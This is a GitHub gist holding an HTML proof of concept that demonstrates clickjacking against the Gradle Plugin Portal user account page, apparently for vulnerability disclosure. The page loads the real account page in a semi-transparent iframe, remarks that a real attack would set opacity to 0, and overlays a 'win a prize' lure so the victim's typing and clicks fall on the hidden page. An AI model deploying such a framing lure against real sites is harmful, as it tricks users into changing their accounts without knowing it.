Skip to content

Instantly share code, notes, and snippets.

@JLLeitschuh

JLLeitschuh/plugin-portal-clickjack.html

Created November 1, 2018 15:53
Show Gist options
  • Save JLLeitschuh/32b27501016a22f7d5962dc62ad33565 to your computer and use it in GitHub Desktop.
Save JLLeitschuh/32b27501016a22f7d5962dc62ad33565 to your computer and use it in GitHub Desktop.
Download ZIP
Demonstrates Clickjacking against the Gradle Plugin Portal user account page
Raw
plugin-portal-clickjack.html
<html>
<head>
<style>
iframe { /* iframe from the victim site */
width: 400px;
height: 100px;
position: absolute;
top: 0;
left: -20px;
opacity: 0.5; /* in real opacity:0 */
z-index: 1;
}
</style>
</head>
<body>
<div>
<b>Since the site can render inside of this iframe, it is vulnerable to clickjacking!</b>
</div>
<div style="top:200px; left:280px; position: absolute;">Enter "I like cats" in both boxes to win a prize!</div>
<div style="top:230px; left:290px; position: absolute; border: 2px solid green; width: 400px; height: 25px"></div>
<div style="top:270px; left:290px; position: absolute; border: 2px solid green; width: 400px; height: 25px"></div>
<button style="top:325px; left:280px; position: absolute;">Click here to win!!</button>
<iframe src="https://plugins.gradle.org/user"
style="position:fixed; top:50px; left:0px; bottom:0px; right:0px; width:90%; height:90%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;"></iframe>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment